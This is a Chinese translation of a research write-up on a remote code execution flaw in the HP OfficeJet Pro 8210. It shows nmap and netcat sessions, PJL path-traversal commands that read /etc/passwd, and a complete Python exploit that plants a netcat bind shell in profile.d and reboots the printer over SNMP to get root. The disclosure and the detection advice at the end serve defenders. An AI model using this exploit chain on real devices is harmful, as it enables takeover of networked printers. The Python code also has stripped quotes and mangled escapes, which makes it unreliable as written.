惠普印表機爆遠程命令執行漏洞,黑客可任意操縱你的印表機
在各類企業、單位甚至是學校,無論你身處在哪裡,印表機都會作為必需品存在。也許你體驗到的是其便捷的一面,但你是否了解其作為聯網設備的危害在哪裡呢?仔細回想一下,你上一次更新它的固件是什麼時候?你是否了解過印表機所存在的那些漏洞?
出於對印表機安全性的好奇,我們購買了幾台印表機(HP OfficeJet Pro 8210)。事實上,在買的時候我們一直祈禱其那些易受攻擊的固件仍然存在,否則你肯定無法想像你需要多少時間來進行回溯。幸運的是,當我們買的兩台印表機到的時候我們發現其安裝著那些易受攻擊的組件,並且更新也被禁用了。OfficeJet Pro 8210的固件無法直接下載。但是,使用印表機Web界面上的「自動安裝更新」和「 立即檢查」功能,我們可以將印表機更新到最新固件。
於是我們就有了一個打過補丁和一個未打補丁的印表機,接下來就是我們挖掘遠程代碼執行漏洞的時間了。
我們從Nmap掃描開始,這樣可以查找到印表機打開的埠:
albinolobster@ubuntu:~$ nmap -A 192.168.1.159
Starting Nmap 7.01 ( https://nmap.org ) at 2017-06-08 10:31 PDT
Nmap scan report for HP0A6BFE.westeros (192.168.1.159)
Host is up (0.014s latency).Not shown: 994 closed ports
PORT STATE SERVICE VERSION
80/tcp open http HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;
443/tcp open ssl/https HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;
515/tcp open printer
631/tcp open ssl/ipp HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;
8080/tcp open http-proxy HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;
9100/tcp open jetdirect?
這裡看起來沒什麼問題, HTTP伺服器的監聽埠80,443以及8080;行式印表機守護進程(LPD)在埠515上;Internet列印協議(IPP)在埠631上;Nmap將埠9100標記為「jetdirect?」,這通常意味著「原始列印」或埠9100列印。
HP將9100埠列印為「HP專有」,但眾所周知的是,這個埠還支持原始列印、PCL、PostScript和PJL。以下是一個簡單的示例——在埠9100上使用PJL來獲取印表機的設備信息:
albinolobster@ubuntu:~$ nc 192.168.1.159 9100
@PJL INFO ID
@PJL INFO ID
"HP OfficeJet Pro 8210"
JensMüller最近寫了一篇題為「 網路印表機:激光印表機和多功能設備中的安全問題調查」的文章,詳細介紹了印表機的常見漏洞。作者提出的常見漏洞之一就是通過PJL路徑遍歷。例如,考慮以下PJL命令列出印表機上的目錄:
albinolobster@ubuntu:~$ nc 192.168.1.159 9100
@PJL FSDIRLIST NAME="0:/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/" ENTR
tmp/ TYPE=DIR
csr_misc/ TYPE=DIR
可以看到列出的目錄名稱是 0:/ 並且印表機響應兩個子目錄: TMP / 和 csr_misc /。如果您嘗試使用路徑移動幾個目錄,會發生什麼0:/../../?
albinolobster@ubuntu:~$ nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="0:/../../" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/../../" ENTRY=1
rw/ TYPE=DIR
ram/ TYPE=DIR
rom/ TYPE=DIR
.sig/ TYPE=DIR
接下來可以看到的是,印表機會響應一個新的目錄列表。看起來我們可能在這裡會有一個攻擊傳染媒介。而在這之後,在打補丁印表機上執行相同的PJL命令會生成一個FILEERROR。我們知道,惠普其實已經修復了這兩個固件版本之間的問題。但毫無疑問這是個好機會,因為這有可能導致安全公告上所說的遠程代碼執行。
albinolobster@ubuntu:~$ nc 192.168.1.159 9100
@PJL FSDIRLIST NAME="0:/../../" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/../../"
FILEERROR=0
然而事實上,這種遍歷似乎不是很有用。文件結構看起來也不像我熟悉的任何root文件系統。也許還有另一個目錄遍歷向量?
albinolobster@ubuntu:~$ nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="../../" ENTRY=1 COUNT=4
@PJL FSDIRLIST NAME="../../"
FILEERROR=0
@PJL FSDIRLIST NAME="../../bin/" ENTRY=1 COUNT=4
@PJL FSDIRLIST NAME="../../bin/" ENTRY=1
getopt TYPE=FILE SIZE=880020
setarch TYPE=FILE SIZE=880020
dd TYPE=FILE SIZE=880020
cp TYPE=FILE SIZE=880020
這裡,我嘗試了 ../../ 但是卻生成了一個 FILEERROR。然而,../../bin 列出了傳統Linux中找到的文件 /bin目錄。看來這下子我們可以遍歷Linux文件系統了。
但是如何將這些目錄遍歷轉換為遠程代碼執行呢?首先,我們需要了解其他一些PJL命令:FSQUERY, FSUPLOAD,和 FSDOWNLOAD。這三個命令將讓我們通過r / w即可訪問印表機的文件系統。例如,我可以利用FSQUERY 和 FSUPLOAD 用目錄遍歷來檢索內容 / etc / passwd文件:
@PJL FSUPLOAD NAME="../../etc/passwd" OFFSET=0 SIZE=648
@PJL FSUPLOAD FORMAT:BINARY NAME="../../etc/passwd" OFFSET=0 SIZE=648
root:x:0:0:root:/var/root:/bin/sh
daemon:x:1:1:daemon:/usr/s
bin:/bin/shbin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/shsync:x:4:100:
sync:/bin:/bin/syncmail:x:8:8:mail:/var/spool/
mail:/bin/shproxy:x:13:13:
proxy:/bin:/bin/shwww-data:x:33:33:
www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
operator:x:37:37:Operator:/var:/bin/sh
haldaemon:x:68:68:hald:/:/bin/sh
dbus:x:81:81:dbus:/var/run/dbus:/bin/sh
ftp:x:83:83:ftp:/home/ftp:/bin/sh
nobody:x:99:99:nobody:/home:/bin/sh
sshd:x:103:99:Operator:/var:/bin/sh
default:x:1000:1000:Default non-root user:/home/default:/bin/sh
_ntp:x:100:99:Linux User,,,:/run/ntp:/bin/false
誰會真的去閱讀這些文件呢?所以我想去寫入他們。FSDOWNLOAD 需要發送 ESC 字元,這裡不能使用Netcat,於是我寫了一個Python腳本,試圖寫入 ../../tmp/writing_test:
import socket
import sys
test = ( test )
if len(sys.argv) != 3:
print nUsage:upload.py [ip] [port]n
sys.exit()sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))
print connecting to %s port %s % server_address
sock.connect(server_address)
dir_query = @PJL FSDOWNLOAD FORMAT:BINARY SIZE= + str(len(test)) + NAME="../../tmp/writing_test"rn
dir_query += test
dir_query += x1b%-12345X
sock.sendall(dir_query)
sock.close()
不幸的是,這個腳本無法寫入該文件。看來,PJL的過程解釋在Linux文件系統上沒有寫入許可權:
albinolobster@ubuntu:~$ python write_test.py 192.168.1.158 9100
connecting to 192.168.1.158 port 9100
albinolobster@ubuntu:~$ nc 192.168.1.158 9100
@PJL FSQUERY NAME="../../tmp/writing_test"
@PJL FSQUERY NAME="../../tmp/writing_test"
FILEERROR=0
這是我們試圖獲得遠程執行代碼的一大打擊。無法訪問Linux文件系統,那麼替換二進位文件或獲取執行的Bash腳本的可能性大大降低。在這一點上,我們唯一的希望就是那個0:/ 文件系統是可寫的,寫入的文件可以以某種方式執行。
接下來我們必須來進行一次無聊的細節梳理在 0:/文件系統中,我最終注意到其與Linux文件系統有一些重疊。尤其是,0:/../../rw/var/etc/profile.d/一下子就抓住了我的眼球,因為,傳統的profile.d目錄包含在啟動時執行的腳本。此外,目錄似乎包含相同的數據:
albinolobster@ubuntu:~$ nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="0:/../../rw/var/etc/profile.d/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/../../rw/var/etc/profile.d/" ENTRY=1
.sig/ TYPE=DIR
@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1
.sig/ TYPE=DIR
為了測試我是否可以通過0:/ filesystem寫入profile.d ,我更新了 FSDOWNLOAD Python腳本來寫一個文件0:/../../rw/var/etc/profile.d/writing_test:
import socket
import sys
test = ( test )
if len(sys.argv) != 3:
print nUsage:upload.py [ip] [port]n
sys.exit()
sock = socket.socket(socket.AF_INET,
socket.SOCK_STREAM)server_address = (sys.argv[1], int(sys.argv[2]))
print connecting to %s port %s % server_address
sock.connect(server_address)
dir_query = @PJL FSDOWNLOAD FORMAT:BINARY SIZE= + str(len(test)) + NAME="0:/../../rw/var/etc/profile.d/writing_test"rndir_query += testdir_query += x1b%-12345X sock.sendall(dir_query)sock.close()
如下所示,Python腳本現在可以工作了!通過遍歷Linux文件系統我么可以看到新的文件:
albinolobster@ubuntu:~$ python write_test.py 192.168.1.158 9100connecting to 192.168.1.158 port 9100albinolobster@ubuntu:~$ nc 192.168.1.158 9100@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1 COUNT=1024@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1.sig/ TYPE=DIRwriting_test TYPE=FILE SIZE=4
現在我們已經可以對可能包含啟動腳本的位置有寫入許可權了。顯然已經非常接近遠程代碼執行了。現在,我們只需要編寫一個腳本,並找出如何重新啟動印表機,以便腳本執行就可以了。
我們的啟動腳本最明顯的選擇是給我們shell訪問。由於印表機有netcat已安裝,我選擇去在埠1270上創建一個綁定shell的腳本:
if [ ! -p /tmp/pwned ]; then mkfifo /tmp/pwned cat /tmp/pwned | /bin/sh 2>&1 | /usr/bin/nc -l 1270 > /tmp/pwned &fi
隨之我們要做的就是將重點轉移到遠程重新啟動印表機。一種方法是在Web界面中使用Power Cycle功能(在「 工具」菜單下)。另一種方法是使用SNMP 印表機 MIB來重新啟動設備。
albinolobster@ubuntu:~$ snmpset -v1 -c public 192.168.1.158 1.3.6.1.2.1.43.5.1.1.3.1 i 4iso.3.6.1.2.1.43.5.1.1.3.1 = INTEGER: 4
在下面的腳本中,我已經將啟動腳本寫入了 的profile.d 目錄和SNMP重新啟動:
##
# Create a bind shell on an unpatched OfficeJet 8210
# Write a script to profile.d and reboot the device. When it comes
# back online then nc to port 1270.
#
# easysnmp instructions:
# sudo apt-get install libsnmp-dev
# pip install easysnmp
##
import socket
import sys
from easysnmp import snmp_set
profile_d_script = ( if [ ! -p /tmp/pwned ]; thenn
tmkfifo /tmp/pwnedn
tcat /tmp/pwned | /bin/sh 2>&1 | /usr/bin/nc -l 1270 > /tmp/pwned &n
fin )
if len(sys.argv) != 3:
print nUsage:upload.py [ip] [port]n
sys.exit()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.settimeout(2)server_address = (sys.argv[1], int(sys.argv[2]))print connecting to %s port %s % server_addresssock.connect(server_address)dir_query = @PJL FSDOWNLOAD FORMAT:BINARY SIZE= + str(len(profile_d_script)) + NAME="0:/../../rw/var/etc/profile.d/lol.sh"rn dir_query += profile_d_scriptdir_query += x1b%-12345X sock.sendall(dir_query)sock.close()sock1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock1.connect(server_address)dir_query = @PJL FSQUERY NAME="0:/../../rw/var/etc/profile.d/lol.sh"rn sock1.sendall(dir_query)response = while True: data = sock1.recv(1) if n == data: break response += dataprint responsesnmp_set( .1.3.6.1.2.1.43.5.1.1.3.1 , 4, integer , hostname= 192.168.1.158 , community= public , version=1)print Done! Try port 1270 in ~30 seconds
運行該腳本,大約三十秒後,通過埠1270就會有root shell了。
albinolobster@ubuntu:~$ python printer_exploit.py 192.168.1.158 9100connecting to 192.168.1.158 port 9100@PJL FSQUERY NAME="0:/../../rw/var/etc/profile.d/lol.sh" TYPE=FILE SIZE=119Done! Try port 1270 in ~30 secondsalbinolobster@ubuntu:~$ nc 192.168.1.158 1270whoamiroot
如何解決這一問題?
幸運的是,對於每個人來說,一旦你了解了這次的攻擊,那麼這個小漏洞就很容易就會被發現。我們在五月下旬就發布了Nessus插件100461來檢測此漏洞。此外,還進行了更改,以便Nessus在服務發現期間不再導致9100埠列印。希望這將鼓勵更多客戶啟用印表機掃描。
總而言之,不要忽視威脅模型中的那些印表機。現在的印表機儼然已經是一台電腦了,所以我們要做的就是像一台電腦一樣對待它。掃描它、更新它、監視它,畢竟誰也不知道其存在著什麼樣潛在的威脅不是嗎?
點擊展開全文
※美國計算機安全應急響應組:需警惕朝鮮黑客組織「隱藏眼鏡蛇」
※控制域名忘記續費,三星數百萬台手機陷入「任人宰割」境地
※利用「域名後綴」的漏洞劫持國家頂級域名(一)
※打劫也得講藝術,如何通過登錄社交賬號榨乾你的錢包?
TAG:嘶吼RoarTalk |
※安卓又現高危漏洞,黑客可遠程操控手機
※黑客正在籌劃全球銀行劫案|百萬印表機暴嚴重漏洞|安卓手機漏洞滿滿|NSA前任現任新動向
※波音飛機陷入「魔咒」,空難事故持續發生,安全漏洞再現
※谷歌搜索驚現漏洞 任何人都可操縱結果傳播錯誤信息
※特斯拉導航系統出現漏洞,黑客輕鬆遠程攻擊
※安全漏洞頻現?用機器黑客保障網路安全,實現機器的自我突破
※火絨安全周報:暴雪遊戲出現嚴重漏洞 一加手機承認用戶信息被黑客竊取
※如何堵住「生日」漏洞?激光噴碼機可助其一臂之力
※小米電動滑板車被曝漏洞,黑客可遠程控制
※實習飛行員溜進機場偷走大型客機,美國機場被批「漏洞百出」
※大疆程序曝漏洞可致無人機拍攝視頻泄露
※攻擊者可利用印象筆記中的XSS漏洞執行命令並竊取文件
※路由器操作系統曝安全漏洞 允許攻擊者執行任意代碼
※事與願違,《刺客信條:奧德賽》新遊戲模式有漏洞,被玩家濫用
※三星被曝出現漏洞,手機會隨機發送照片給別人
※虛擬世界也被黑客侵略了,VR應用程序出現嚴重漏洞
※三星手機爆出疑試出現安全漏洞!你的圖片可能被私自發送給其他人
※南極上空出現神秘霧氣,疑似穿越的漏洞,愛因斯坦曾發表相似言論
※黑客不黑,喜歡挖漏洞
※漏洞嚴重!蘋果手機用戶恐被監聽